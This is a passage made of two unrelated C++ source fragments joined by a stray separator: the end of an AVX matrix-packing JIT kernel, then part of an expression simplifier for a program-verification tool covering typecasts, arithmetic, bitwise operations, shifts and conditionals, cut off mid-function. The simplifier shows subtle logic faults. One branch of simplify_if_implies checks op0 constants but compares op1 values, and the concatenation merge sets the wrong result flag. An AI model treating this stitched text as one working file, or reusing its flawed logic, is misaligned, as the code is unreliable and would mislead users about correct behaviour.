vmovdqu(xword[B - 0x70], xmm3);
sub(B, -32);
dec(I);
jg(l3e8, T_NEAR);
align(4);
L(l41c);
test(M, 0x4);
jle(l448, T_NEAR);
vmovq(xmm0, qword[A1 - 0x80]);
sub(A1, -8);
vmovq(xmm1, qword[A2 - 0x80]);
sub(A2, -8);
vunpcklps(xmm0, xmm0, xmm1);
vmovdqu(xword[B - 0x80], xmm0);
sub(B, -16);
align(4);
L(l448);
test(M, 0x2);
jle(l474, T_NEAR);
vmovd(xmm0, dword[A1 - 0x80]);
sub(A1, -4);
vmovd(xmm1, dword[A2 - 0x80]);
sub(A2, -4);
vunpcklps(xmm0, xmm0, xmm1);
vmovq(qword[B - 0x80], xmm0);
sub(B, -8);
align(4);
L(l474);
test(M, 0x1);
jle(l49c, T_NEAR);
mov(ax, word[A1 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x0);
mov(ax, word[A1 + LDA * 1 - 0x80]);
vpinsrw(xmm0, xmm0, eax, 0x1);
vmovd(dword[B - 0x80], xmm0);
sub(B, -4);
align(4);
L(l49c);
sub(N, 0x2);
cmp(N, 0x2);
jge(l3d0, T_NEAR);
align(4);
L(l4aa);
cmp(N, 0x1);
jl(l568, T_NEAR);
align(4);
L(l4b4);
mov(A1, A);
add(A, LDA);
mov(I, M);
sar(I, 0x4);
jle(l4e0, T_NEAR);
align(4);
L(l4c4);
vmovdqu(ymm0, yword[A1 - 0x80]);
sub(A1, -32);
vmovdqu(yword[B - 0x80], ymm0);
sub(B, -32);
dec(I);
jg(l4c4, T_NEAR);
align(4);
L(l4e0);
test(M, 0x8);
jle(l500, T_NEAR);
vmovdqu(xmm0, xword[A1 - 0x80]);
sub(A1, -16);
vmovdqu(xword[B - 0x80], xmm0);
sub(B, -16);
align(4);
L(l500);
test(M, 0x4);
jle(l520, T_NEAR);
vmovq(xmm0, qword[A1 - 0x80]);
sub(A1, -8);
vmovq(qword[B - 0x80], xmm0);
sub(B, -8);
align(4);
L(l520);
test(M, 0x2);
jle(l540, T_NEAR);
vmovd(xmm0, dword[A1 - 0x80]);
sub(A1, -4);
vmovd(dword[B - 0x80], xmm0);
sub(B, -4);
align(4);
L(l540);
test(M, 0x1);
jle(l558, T_NEAR);
mov(ax, word[A1 - 0x80]);
mov(word[B - 0x80], ax);
sub(B, -2);
align(4);
L(l558);
sub(N, 0x1);
cmp(N, 0x1);
jge(l4b4, T_NEAR);
align(4);
L(l568);
postamble();
}
outLocalLabel();
#undef M
#undef N
#undef A
#undef LDA
#undef ALPHA
#undef B
#undef I
#undef A1
#undef A2
#undef LDA3
#ifdef _WIN32
#undef ARG_ALPHA
#undef ARG_B
#endif
}
} // namespace cpu
} // namespace impl
} // namespace dnnl
|
/*******************************************************************\
Module:
Author: Daniel Kroening, kroening@kroening.com
\*******************************************************************/
#include <assert.h>
#include <algorithm>
#include <config.h>
#include <options.h>
#include "simplify_expr_class.h"
#include "simplify_expr.h"
#include "mp_arith.h"
#include "arith_tools.h"
#include "std_types.h"
#include "bitvector.h"
#include "simplify_utils.h"
#include "expr_util.h"
#include "std_expr.h"
#include "fixedbv.h"
//#define USE_CACHE
#ifdef USE_CACHE
struct simplify_expr_cachet
{
public:
friend class simplify_exprt;
#if 1
typedef hash_map_cont<
exprt, exprt, irep_full_hash, irep_full_eq> containert;
#else
typedef hash_map_cont<
exprt, exprt, irep_hash> containert;
#endif
containert container_normal, container_address_of;
containert &container(simplify_exprt::modet mode)
{
return mode==simplify_exprt::NORMAL?
container_normal:container_address_of;
}
};
simplify_expr_cachet simplify_expr_cache;
#endif
/*******************************************************************\
Function: simplify_exprt::simplify_typecast
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_typecast(exprt &expr, modet mode)
{
if(expr.operands().size()!=1) return true;
// eliminate redundant typecasts
if(expr.type()==expr.op0().type())
{
exprt tmp;
tmp.swap(expr.op0());
expr.swap(tmp);
return false;
}
// elminiate casts to bool
if(expr.type()==bool_typet())
{
equality_exprt equality;
equality.location()=expr.location();
equality.lhs()=expr.op0();
equality.rhs()=gen_zero(expr.op0().type());
simplify_node(equality, mode);
equality.make_not();
simplify_node(equality, mode);
expr.swap(equality);
return false;
}
// eliminate typecasts from NULL
if(expr.type().id()=="pointer" &&
expr.op0().is_constant() &&
expr.op0().value().as_string()=="NULL")
{
exprt tmp=expr.op0();
tmp.type()=expr.type();
expr.swap(tmp);
return false;
}
// eliminate duplicate pointer typecasts
if(expr.type().id()=="pointer" &&
expr.op0().id()=="typecast" &&
expr.op0().type().id()=="pointer" &&
expr.op0().operands().size()==1)
{
exprt tmp;
tmp.swap(expr.op0().op0());
expr.op0().swap(tmp);
// recursive call
simplify_node(expr, mode);
return false;
}
const irep_idt &expr_type_id=expr.type().id();
const exprt &operand=expr.op0();
const irep_idt &op_type_id=operand.type().id();
unsigned expr_width=bv_width(expr.type());
unsigned op_width=bv_width(operand.type());
if(operand.is_constant())
{
const irep_idt &value=operand.value();
exprt new_expr("constant", expr.type());
if(op_type_id=="integer" ||
op_type_id=="natural" ||
op_type_id=="c_enum" ||
op_type_id=="incomplete_c_enum")
{
mp_integer int_value=string2integer(id2string(value));
if(expr_type_id=="bool")
{
new_expr.value((int_value!=0)?"true":"false");
expr.swap(new_expr);
return false;
}
if(expr_type_id=="unsignedbv" || expr_type_id=="signedbv")
{
new_expr.value(integer2binary(int_value, expr_width));
expr.swap(new_expr);
return false;
}
if(expr_type_id=="integer")
{
new_expr.value(value);
expr.swap(new_expr);
return false;
}
if(expr_type_id=="c_enum" ||
expr_type_id=="incomplete_c_enum")
{
new_expr.value(integer2string(int_value));
expr.swap(new_expr);
return false;
}
}
else if(op_type_id=="rational")
{
}
else if(op_type_id=="real")
{
}
else if(op_type_id=="bool")
{
if(expr_type_id=="unsignedbv" ||
expr_type_id=="signedbv" ||
expr_type_id=="integer" ||
expr_type_id=="natural")
{
if(operand.is_true())
{
expr=from_integer(1, expr.type());
return false;
}
else if(operand.is_false())
{
expr=gen_zero(new_expr.type());
return false;
}
}
}
else if(op_type_id=="unsignedbv" ||
op_type_id=="signedbv")
{
mp_integer int_value=binary2integer(
id2string(value), op_type_id=="signedbv");
if(expr_type_id=="bool")
{
new_expr.make_bool(int_value!=0);
expr.swap(new_expr);
return false;
}
if(expr_type_id=="integer")
{
new_expr=from_integer(int_value, expr.type());
expr.swap(new_expr);
return false;
}
if(expr_type_id=="natural")
{
if(int_value>=0)
{
new_expr=from_integer(int_value, expr.type());
expr.swap(new_expr);
return false;
}
}
if(expr_type_id=="unsignedbv" ||
expr_type_id=="signedbv" ||
expr_type_id=="bv")
{
new_expr.value(integer2binary(int_value, expr_width));
expr.swap(new_expr);
return false;
}
if(expr_type_id=="c_enum" ||
expr_type_id=="incomplete_c_enum")
{
new_expr.value(integer2string(int_value));
expr.swap(new_expr);
return false;
}
if(expr_type_id=="fixedbv")
{
// int to float
const fixedbv_typet &f_expr_type=
to_fixedbv_type(expr.type());
fixedbvt f;
f.spec=f_expr_type;
f.from_integer(int_value);
expr=f.to_expr();
return false;
}
if(expr_type_id=="floatbv")
{
std::cerr << "floatbv currently unsupported, sorry" << std::endl;
abort();
}
}
else if(op_type_id=="fixedbv")
{
if(expr_type_id=="unsignedbv" ||
expr_type_id=="signedbv")
{
// cast from float to int
fixedbvt f(expr.op0());
expr=from_integer(f.to_integer(), expr.type());
return false;
}
else if(expr_type_id=="fixedbv")
{
// float to double or double to float
fixedbvt f(expr.op0());
f.round(to_fixedbv_type(expr.type()));
expr=f.to_expr();
return false;
}
}
else if(op_type_id=="floatbv")
{
std::cerr << "floatbv currently unsupported, sorry" << std::endl;
abort();
}
else if(op_type_id=="bv")
{
if(expr_type_id=="unsignedbv" ||
expr_type_id=="signedbv" ||
expr_type_id=="floatbv")
{
mp_integer int_value=binary2integer(
id2string(value), false);
new_expr.value(integer2binary(int_value, expr_width));
expr.swap(new_expr);
return false;
}
}
}
else if(operand.id()=="typecast") // typecast of typecast
{
if(operand.operands().size()==1 &&
op_type_id==expr_type_id &&
(expr_type_id=="unsignedbv" || expr_type_id=="signedbv") &&
expr_width<=op_width)
{
exprt tmp;
tmp.swap((irept &)expr.op0().op0());
expr.op0().swap(tmp);
return false;
}
}
// propagate type casts into arithmetic operators
if((op_type_id=="unsignedbv" || op_type_id=="signedbv") &&
(expr_type_id=="unsignedbv" || expr_type_id=="signedbv") &&
(operand.id()=="+" || operand.id()=="-" ||
operand.id()=="unary-" || operand.id()=="*") &&
expr_width<=op_width)
{
exprt new_expr;
new_expr.swap(expr.op0());
new_expr.type()=expr.type();
Forall_operands(it, new_expr)
{
it->make_typecast(expr.type());
simplify_rec(*it, mode); // recursive call
}
expr.swap(new_expr);
return false;
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_dereference
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_dereference(exprt &expr)
{
if(expr.operands().size()!=1) return true;
if(expr.op0().type().id()!="pointer") return true;
if(expr.op0().is_address_of())
{
if(expr.op0().operands().size()==1)
{
exprt tmp;
tmp.swap(expr.op0().op0());
expr.swap(tmp);
return false;
}
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_address_of
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_address_of(exprt &expr)
{
if(expr.operands().size()!=1) return true;
if(expr.type().id()!="pointer") return true;
if(expr.op0().id()=="NULL-object")
{
exprt constant("constant", expr.type());
constant.value("NULL");
expr.swap(constant);
return false;
}
else if(expr.op0().id()=="index")
{
exprt &index_expr=expr.op0();
if(index_expr.operands().size()==2)
{
if(!index_expr.op1().is_zero())
{
// we normalize &a[i] to (&a[0])+i
exprt offset;
offset.swap(index_expr.op1());
index_expr.op1()=gen_zero(offset.type());
exprt addition("+", expr.type());
addition.move_to_operands(expr, offset);
expr.swap(addition);
return false;
}
}
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::pointer_offset
Inputs:
Outputs:
Purpose:
\*******************************************************************/
exprt simplify_exprt::pointer_offset(
const exprt &expr,
const typet &type)
{
if(expr.id()=="symbol" ||
expr.id()=="string-constant")
{
return gen_zero(type);
}
else if(expr.id()=="member")
{
assert(expr.operands().size()==1);
// need to count members here
return nil_exprt();
}
else if(expr.id()=="index")
{
const index_exprt &index_expr=to_index_expr(expr);
const exprt &array=index_expr.array();
const exprt &index=index_expr.index();
exprt array_offset=pointer_offset(array, type);
if(array_offset.is_nil()) return array_offset;
// actually would need to multiply here
exprt result=index;
if(result.is_nil()) return result;
if(result.type()!=type)
{
result.make_typecast(type);
simplify_typecast(result, NORMAL);
}
return result;
}
else
return nil_exprt();
}
/*******************************************************************\
Function: simplify_exprt::simplify_pointer_offset
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_pointer_offset(exprt &expr)
{
if(expr.operands().size()!=1) return true;
exprt &ptr=expr.op0();
if(ptr.type().id()!="pointer") return true;
if(ptr.is_address_of())
{
if(ptr.operands().size()!=1) return true;
exprt &object=ptr.op0();
exprt tmp=pointer_offset(object, expr.type());
if(tmp.is_not_nil())
{
expr=tmp;
return false;
}
}
else if(ptr.id()=="typecast") // pointer typecast
{
// need to be careful here
if(ptr.operands().size()!=1) return true;
// first see if that is zero
exprt ptr_off("pointer_offset", expr.type());
ptr_off.copy_to_operands(ptr.op0());
simplify_node(ptr_off, NORMAL);
if(ptr_off.is_zero())
{
expr=ptr_off;
return false;
}
}
else if(ptr.id()=="+") // pointer arithmetic
{
std::list<exprt> ptr_expr;
std::list<exprt> int_expr;
forall_operands(it, ptr)
{
if(it->type().id()=="pointer")
ptr_expr.push_back(*it);
else if(!it->is_zero())
int_expr.push_back(*it);
}
if(ptr_expr.size()==1)
{
exprt ptr_off("pointer_offset", expr.type());
ptr_off.copy_to_operands(ptr_expr.front());
simplify_node(ptr_off, NORMAL);
if(int_expr.empty())
expr=ptr_off;
else
{
expr=exprt("+", expr.type());
expr.reserve_operands(int_expr.size()+1);
expr.copy_to_operands(ptr_off);
for(std::list<exprt>::const_iterator it=int_expr.begin();
it!=int_expr.end();
it++)
{
expr.copy_to_operands(*it);
if(it->type()!=expr.type())
{
expr.operands().back().make_typecast(expr.type());
simplify_node(expr.operands().back(), NORMAL);
}
}
simplify_node(expr, NORMAL);
}
return false;
}
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_multiplication
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_multiplication(exprt &expr)
{
// check to see if it is a number type
if(!is_number(expr.type()))
return true;
// vector of operands
exprt::operandst &operands=expr.operands();
// result of the simplification
bool result = true;
// position of the constant
exprt::operandst::iterator constant;
// true if we have found a constant
bool found = false;
// scan all the operands
for(exprt::operandst::iterator it=operands.begin();
it!=operands.end();)
{
// if one of the operands is not a number return
if(!is_number(it->type())) return true;
// if one of the operands is zero the result is zero
// note: not true on IEEE floating point arithmetic
if(it->is_zero())
{
expr=gen_zero(expr.type());
return false;
}
// true if the given operand has to be erased
bool do_erase = false;
// if this is a constant of the same time as the result
if(it->is_constant() && it->type() == expr.type())
{
if(found)
{
// update the constant factor
if(!constant->mul(*it)) do_erase=true;
}
else
{
// set it as the constant factor if this is the first
constant = it;
found = true;
}
}
// erase the factor if necessary
if(do_erase)
{
it = operands.erase(it);
result = false;
}
else
// move to the next operand
it++;
}
if(operands.size()==1)
{
exprt product(operands.front());
expr.swap(product);
result = false;
}
else
{
// if the constant is a one and there are other factors
if(found && constant->is_one())
{
// just delete it
operands.erase(constant);
result=false;
if(operands.size()==1)
{
exprt product(operands.front());
expr.swap(product);
}
}
}
return result;
}
/*******************************************************************\
Function: simplify_exprt::simplify_division
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_division(exprt &expr)
{
if(!is_number(expr.type()))
return true;
if(expr.operands().size()!=2)
return true;
if(expr.type()!=expr.op0().type() ||
expr.type()!=expr.op1().type())
return true;
if(expr.type().id()=="signedbv" ||
expr.type().id()=="unsignedbv" ||
expr.type().id()=="natural" ||
expr.type().id()=="integer")
{
mp_integer int_value0, int_value1;
bool ok0, ok1;
ok0=!to_integer(expr.op0(), int_value0);
ok1=!to_integer(expr.op1(), int_value1);
if(ok1 && int_value1==0)
return true;
if((ok1 && int_value1==1) ||
(ok0 && int_value0==0))
{
exprt tmp;
tmp.swap(expr.op0());
expr.swap(tmp);
return false;
}
if(ok0 && ok1)
{
#if 0
if(int_value0==int_value1)
{
expr.make_one();
return false;
}
else if(int_value0>=0 && int_value1>=0 &&
int_value0<int_value1)
{
expr=gen_zero(expr.type());
return false;
}
#endif
mp_integer result=int_value0/int_value1;
exprt tmp=from_integer(result, expr.type());
if(tmp.is_not_nil())
{
expr.swap(tmp);
return false;
}
}
}
else if(expr.type().id()=="fixedbv")
{
// division by one?
if(expr.op1().is_constant() &&
expr.op1().is_one())
{
exprt tmp;
tmp.swap(expr.op0());
expr.swap(tmp);
return false;
}
if(expr.op0().is_constant() &&
expr.op1().is_constant())
{
fixedbvt f0(expr.op0());
fixedbvt f1(expr.op1());
if(!f1.is_zero())
{
f0/=f1;
expr=f0.to_expr();
return false;
}
}
}
else if(expr.type().id()=="floatbv")
{
std::cerr << "floatbv currently unsupported, sorry" << std::endl;
abort();
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_modulo
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_modulo(exprt &expr)
{
if(!is_number(expr.type()))
return true;
if(expr.operands().size()!=2)
return true;
if(expr.type().id()=="signedbv" ||
expr.type().id()=="unsignedbv" ||
expr.type().id()=="natural" ||
expr.type().id()=="integer")
{
if(expr.type()==expr.op0().type() &&
expr.type()==expr.op1().type())
{
mp_integer int_value0, int_value1;
bool ok0, ok1;
ok0=!to_integer(expr.op0(), int_value0);
ok1=!to_integer(expr.op1(), int_value1);
if(ok1 && int_value1==0)
return true; // division by zero
if((ok1 && int_value1==1) ||
(ok0 && int_value0==0))
{
expr=gen_zero(expr.type());
return false;
}
if(ok0 && ok1)
{
mp_integer result=int_value0%int_value1;
exprt tmp=from_integer(result, expr.type());
if(tmp.is_not_nil())
{
expr.swap(tmp);
return false;
}
}
}
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_addition_substraction
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_addition_substraction(
exprt &expr, modet mode)
{
if(!is_number(expr.type()) &&
expr.type().id()!="pointer")
return true;
bool result=true;
exprt::operandst &operands=expr.operands();
Forall_operands(it, expr) {
it->remove(irept::a_cformat);
}
if(expr.id()=="+")
{
exprt::operandst::iterator const_sum;
bool const_sum_set=false;
for(exprt::operandst::iterator it=operands.begin();
it!=operands.end();)
{
bool do_erase=false;
if(is_number(it->type()))
{
if(it->is_zero())
do_erase=true;
else if(it->is_constant())
{
if(!const_sum_set)
{
const_sum=it;
const_sum_set=true;
}
else
{
if(!const_sum->sum(*it)) do_erase=true;
}
}
}
if(do_erase)
{
it=operands.erase(it);
result=false;
}
else
it++;
}
if(operands.size()==0)
{
expr=gen_zero(expr.type());
return false;
}
else if(operands.size()==1)
{
exprt tmp(operands.front());
expr.swap(tmp);
return false;
}
}
else if(expr.id()=="-")
{
exprt::operandst subtrahends;
exprt minuend;
// Sum the subtrahend portions, then if the minuend is constant, attempt to
// subtract from it.
exprt::operandst ops = expr.operands();
if (ops.size() == 0)
return true;
assert(ops.size() > 1); // This should probably have become a unary-
// Remove minuend
exprt::operandst::iterator it;
it = ops.begin();
minuend = *it;
it++;
// If this is a binary operation, we might be able to solve right now.
if (ops.size() == 2) {
if (minuend.id() == "constant" && it->id() == "constant") {
minuend.subtract(*it);
expr.swap(minuend);
return false;
} else {
return true;
}
}
// A large subtract; so collect subtrahend portions
for (; it != ops.end(); it++)
subtrahends.push_back(*it);
exprt an_add("+", expr.type());
an_add.operands() = subtrahends;
simplify_rec(an_add, mode);
// We should now have a list of operands, one of which might be constant. If
// the minuend is constant, and a subtracting operand is constant, perform
// that subtraction.
if (minuend.id() == "constant") {
subtrahends = an_add.operands();
for (it = subtrahends.begin(); it != subtrahends.end(); it++) {
if (it->id() == "constant") {
// Hurrah, we can perform a constant subtraction.
minuend.subtract(*it);
subtrahends.erase(it);
result = false;
}
}
}
if (subtrahends.size()==0)
{
exprt tmp(minuend);
expr.swap(tmp);
return false;
} else {
// Reconstruct a subtract expr
expr.operands().clear();
expr.operands().push_back(minuend);
for (it = subtrahends.begin(); it != subtrahends.end(); it++)
expr.operands().push_back(*it);
// result variable will determine whether we've simplified at all.
}
}
return result;
}
/*******************************************************************\
Function: simplify_exprt::simplify_bitwise
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_bitwise(exprt &expr)
{
if(!is_bitvector_type(expr.type()))
return true;
unsigned width=bv_width(expr.type());
bool result=true;
while(expr.operands().size()>=2)
{
const irep_idt &a_str=expr.op0().value();
const irep_idt &b_str=expr.op1().value();
if(!expr.op0().is_constant())
break;
if(!expr.op1().is_constant())
break;
if(expr.op0().type()!=expr.type())
break;
if(expr.op1().type()!=expr.type())
break;
assert(a_str.size()==b_str.size());
exprt new_op("constant", expr.type());
std::string new_value;
new_value.resize(width);
if(expr.id()=="bitand")
{
for(unsigned i=0; i<width; i++)
new_value[i]=(a_str[i]=='1' && b_str[i]=='1')?'1':'0';
}
else if(expr.id()=="bitor")
{
for(unsigned i=0; i<width; i++)
new_value[i]=(a_str[i]=='1' || b_str[i]=='1')?'1':'0';
}
else if(expr.id()=="bitxor")
{
for(unsigned i=0; i<width; i++)
new_value[i]=((a_str[i]=='1')!=(b_str[i]=='1'))?'1':'0';
}
else
break;
new_op.value(new_value);
// erase first operand
expr.operands().erase(expr.operands().begin());
expr.op0().swap(new_op);
result=false;
}
if(expr.operands().size()==1)
{
exprt tmp;
tmp.swap(expr.op0());
expr.swap(tmp);
return false;
}
return result;
}
/*******************************************************************\
Function: simplify_exprt::simplify_concatenation
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_concatenation(exprt &expr)
{
bool result=true;
if(is_bitvector_type(expr.type()))
{
// first, turn bool into bvec[1]
for(unsigned i=0; i<expr.operands().size(); i++)
{
exprt &op=expr.operands()[i];
if(op.is_true() || op.is_false())
{
bool value=op.is_true();
op=exprt("constant", typet("unsignedbv"));
op.type().width(1);
op.value(value?"1":"0");
}
}
// search for neighboring constants to merge
unsigned i=0;
while(i<expr.operands().size()-1)
{
exprt &opi=expr.operands()[i];
exprt &opn=expr.operands()[i+1];
if(opi.is_constant() &&
opn.is_constant() &&
is_bitvector_type(opi.type()) &&
is_bitvector_type(opn.type()))
{
// merge!
const std::string new_value=
opi.value().as_string()+opn.value().as_string();
opi.value(new_value);
opi.type().width(new_value.size());
// erase opn
expr.operands().erase(expr.operands().begin()+i+1);
result=true;
}
else
i++;
}
}
// { x } = x
if(expr.operands().size()==1)
{
exprt tmp;
tmp.swap(expr.op0());
expr.swap(tmp);
result=false;
}
return result;
}
/*******************************************************************\
Function: simplify_exprt::simplify_shifts
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_shifts(exprt &expr)
{
if(!is_number(expr.type()))
return true;
if(expr.operands().size()!=2)
return true;
mp_integer distance;
if(to_integer(expr.op1(), distance))
return true;
if(distance==0)
{
exprt tmp;
tmp.swap(expr.op0());
expr.swap(tmp);
return false;
}
mp_integer value;
if(to_integer(expr.op0(), value))
return true;
if(expr.op0().type().id()=="unsignedbv" ||
expr.op0().type().id()=="signedbv")
{
mp_integer width=
string2integer(id2string(expr.op0().type().width()));
if(expr.id()=="lshr")
{
// this is to guard against large values of distance
if(distance>=width)
{
expr=gen_zero(expr.type());
return false;
}
else if(distance>=0)
{
value/=power(2, distance);
expr=from_integer(value, expr.type());
return false;
}
}
else if(expr.id()=="ashr")
{
// this is to simulate an arithmetic right shift
if(distance>=0)
{
mp_integer new_value=(distance>=width)?0:value/power(2, distance);
if(value<0 && new_value==0) new_value=-1;
expr=from_integer(new_value, expr.type());
return false;
}
}
else if(expr.id()=="shl")
{
// this is to guard against large values of distance
if(distance>=width)
{
expr=gen_zero(expr.type());
return false;
}
else if(distance>=0)
{
value*=power(2, distance);
expr=from_integer(value, expr.type());
return false;
}
}
}
else if(expr.op0().type().id()=="integer" ||
expr.op0().type().id()=="natural")
{
if(expr.id()=="lshr")
{
if(distance>=0)
{
value/=power(2, distance);
expr=from_integer(value, expr.type());
return false;
}
}
else if(expr.id()=="ashr")
{
// this is to simulate an arithmetic right shift
if(distance>=0)
{
mp_integer new_value=value/power(2, distance);
if(value<0 && new_value==0) new_value=-1;
expr=from_integer(new_value, expr.type());
return false;
}
}
else if(expr.id()=="shl")
{
if(distance>=0)
{
value*=power(2, distance);
expr=from_integer(value, expr.type());
return false;
}
}
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_if_implies
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_if_implies(
exprt &expr,
const exprt &cond,
bool truth,
bool &new_truth)
{
if(expr == cond) {
new_truth = truth;
return false;
}
if(truth && cond.id()=="<" && expr.id()=="<")
{
if(cond.op0() == expr.op0() &&
cond.op1().is_constant() &&
expr.op1().is_constant() &&
cond.op1().type() == expr.op1().type())
{
const irep_idt &type_id = cond.op1().type().id();
if(type_id=="integer" || type_id=="natural")
{
if(string2integer(cond.op1().value().as_string()) >=
string2integer(expr.op1().value().as_string()))
{
new_truth = true;
return false;
}
}
else if(type_id=="unsignedbv")
{
const mp_integer i1, i2;
if(binary2integer(cond.op1().value().as_string(), false) >=
binary2integer(expr.op1().value().as_string(), false))
{
new_truth = true;
return false;
}
}
else if(type_id=="signedbv")
{
const mp_integer i1, i2;
if(binary2integer(cond.op1().value().as_string(), true) >=
binary2integer(expr.op1().value().as_string(), true))
{
new_truth = true;
return false;
}
}
}
if(cond.op1() == expr.op1() &&
cond.op0().is_constant() &&
expr.op0().is_constant() &&
cond.op0().type() == expr.op0().type())
{
const irep_idt &type_id = cond.op1().type().id();
if(type_id=="integer" || type_id=="natural")
{
if(string2integer(cond.op1().value().as_string()) <=
string2integer(expr.op1().value().as_string()))
{
new_truth = true;
return false;
}
}
else if(type_id=="unsignedbv")
{
const mp_integer i1, i2;
if(binary2integer(cond.op1().value().as_string(), false) <=
binary2integer(expr.op1().value().as_string(), false))
{
new_truth = true;
return false;
}
}
else if(type_id=="signedbv")
{
const mp_integer i1, i2;
if(binary2integer(cond.op1().value().as_string(), true) <=
binary2integer(expr.op1().value().as_string(), true))
{
new_truth = true;
return false;
}
}
}
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_if_recursive
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_if_recursive(
exprt &expr,
const exprt &cond,
bool truth)
{
if(expr.type().is_bool())
{
bool new_truth;
if(!simplify_if_implies(expr, cond, truth, new_truth))
{
if(new_truth)
{
expr.make_true();
return false;
}
else
{
expr.make_false();
return false;
}
}
}
bool result = true;
Forall_operands(it, expr)
result = simplify_if_recursive(*it, cond, truth) && result;
return result;
}
/*******************************************************************\
Function: simplify_exprt::simplify_if_conj
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_if_conj(
exprt &expr,
const exprt &cond)
{
forall_operands(it, cond)
{
if(expr == *it)
{
expr.make_true();
return false;
}
}
bool result = true;
Forall_operands(it, expr)
result = simplify_if_conj(*it, cond) && result;
return result;
}
/*******************************************************************\
Function: simplify_exprt::simplify_if_disj
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_if_disj(
exprt &expr,
const exprt &cond)
{
forall_operands(it, cond)
{
if(expr == *it)
{
expr.make_false();
return false;
}
}
bool result = true;
Forall_operands(it, expr)
result = simplify_if_disj(*it, cond) && result;
return result;
}
/*******************************************************************\
Function: simplify_exprt::simplify_if_branch
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_if_branch(
exprt &trueexpr,
exprt &falseexpr,
const exprt &cond,
modet mode)
{
bool tresult = true;
bool fresult = true;
if(cond.is_and())
{
tresult = simplify_if_conj(trueexpr, cond) && tresult;
fresult = simplify_if_recursive(falseexpr, cond, false) && fresult;
}
else if(cond.id()=="or")
{
tresult = simplify_if_recursive(trueexpr, cond, true) && tresult;
fresult = simplify_if_disj(falseexpr, cond) && fresult;
}
else
{
tresult = simplify_if_recursive(trueexpr, cond, true) && tresult;
fresult = simplify_if_recursive(falseexpr, cond, false) && fresult;
}
if(!tresult) simplify_rec(trueexpr, mode);
if(!fresult) simplify_rec(falseexpr, mode);
return tresult && fresult;
}
/*******************************************************************\
Function: simplify_exprt::simplify_if_cond
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_if_cond(exprt &expr, modet mode)
{
bool result = true;
bool tmp = false;
while(!tmp)
{
tmp = true;
if(expr.is_and())
{
if(expr.has_operands())
{
exprt::operandst &operands = expr.operands();
for(exprt::operandst::iterator it1 = operands.begin();
it1 != operands.end(); it1++)
{
for(exprt::operandst::iterator it2 = operands.begin();
it2 != operands.end(); it2++)
{
if(it1 != it2)
tmp = simplify_if_recursive(*it1, *it2, true) && tmp;
}
}
}
}
if(!tmp) simplify_rec(expr, mode);
result = tmp && result;
}
return result;
}
/*******************************************************************\
Function: simplify_exprt::simplify_if
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_if(exprt &expr)
{
exprt::operandst &operands=expr.operands();
bool result = true;
if(operands.size()==3)
{
exprt &cond=operands.front();
exprt &truevalue=*(++operands.begin());
exprt &falsevalue=operands.back();
if(truevalue==falsevalue)
{
exprt tmp;
tmp.swap(truevalue);
expr.swap(tmp);
return false;
}
if(do_simplify_if)
{
if(cond.id()=="not")
{
exprt tmp;
tmp.swap(cond.op0());
cond.swap(tmp);
truevalue.swap(falsevalue);
}
if(expr.type()==bool_typet())
{
if(truevalue.is_true() && falsevalue.is_false())
{
exprt tmp;
tmp.swap(cond);
expr.swap(tmp);
return false;
}
else if(truevalue.is_false() && falsevalue.is_true())
{
exprt tmp;
tmp.swap(cond);
tmp.make_not();
expr.swap(tmp);
return false;
}
}
}
if(cond.is_true())
{
exprt tmp;
tmp.swap(truevalue);
expr.swap(tmp);
return false;
}
if(cond.is_false())
{
exprt tmp;
tmp.swap(falsevalue);
expr.swap(tmp);
return false;
}
}
return result;
}
/*******************************************************************\
Function: simplify_exprt::simplify_switch
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_switch(exprt &expr __attribute__((unused)))
{
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_boolean
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_not(exprt &expr, modet mode)
{
if(expr.operands().size()!=1) return true;
exprt &op=expr.op0();
if(!expr.type().is_bool() ||
!op.type().is_bool()) return true;
if(op.id()=="not") // (not not a) == a
{
if(op.operands().size()==1)
{
exprt tmp;
tmp.swap(op.op0());
expr.swap(tmp);
return false;
}
}
else if(op.is_false())
{
expr.make_true();
return false;
}
else if(op.is_true())
{
expr.make_false();
return false;
}
else if(op.is_and() ||
op.id()=="or")
{
exprt tmp;
tmp.swap(op);
expr.swap(tmp);
Forall_operands(it, expr)
{
it->make_not();
simplify_node(*it, mode);
}
expr.id(expr.is_and()?"or":"and");
return false;
}
return true;
}
/*******************************************************************\
Function: simplify_exprt::simplify_boolean
Inputs:
Outputs:
Purpose:
\*******************************************************************/
bool simplify_exprt::simplify_boolean(exprt &expr, modet mode)
{
if(!expr.has_operands()) return true;
